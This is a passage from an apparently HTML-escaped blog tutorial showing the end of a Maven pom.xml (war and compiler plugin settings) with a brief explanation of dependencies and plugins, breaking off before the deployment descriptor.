&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;plugin&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;maven&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-war-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;webappDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/WebRoot&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;webappDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;warSourceDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/WebRoot&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;warSourceDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;plugin&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;plugin&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;maven&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-compiler-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;1.5&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;1.5&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;plugin&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;plugins&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;build&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;project&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 6.0pt; mso-bidi-font-size: 11.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #A6A6A6; border: none; mso-background-themecolor: background1; mso-background-themeshade: 166; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
In above pom file we have basically two main tags that will be helpful for you one is plugins and second one is dependencies. Well dependencies deal with the libraries that are required for the project, and plugins help for compilation and war creation.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Note: One can easily change the artifact version of the library but make sure the other libraries that are interacting with that library must belong to the same artifacts.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
Now, lets proceed towards the deployment descriptor.&lt;br /&gt;
&lt;br /&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
